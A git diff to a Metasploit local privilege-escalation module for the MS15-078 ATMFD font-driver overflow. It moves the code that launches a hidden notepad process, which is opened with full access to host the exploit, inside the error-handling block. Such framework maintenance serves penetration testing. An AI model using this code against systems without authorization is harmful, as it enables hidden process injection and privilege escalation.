diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
index 7637365955..1758b4121d 100644
--- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
+++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb
@@ -144,9 +144,9 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
     end
 
-    print_status('Launching notepad to host the exploit...')
-    notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
     begin
+      print_status('Launching notepad to host the exploit...')
+      notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
       process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
       print_good("Process #{process.pid} launched.")
     rescue Rex::Post::Meterpreter::RequestError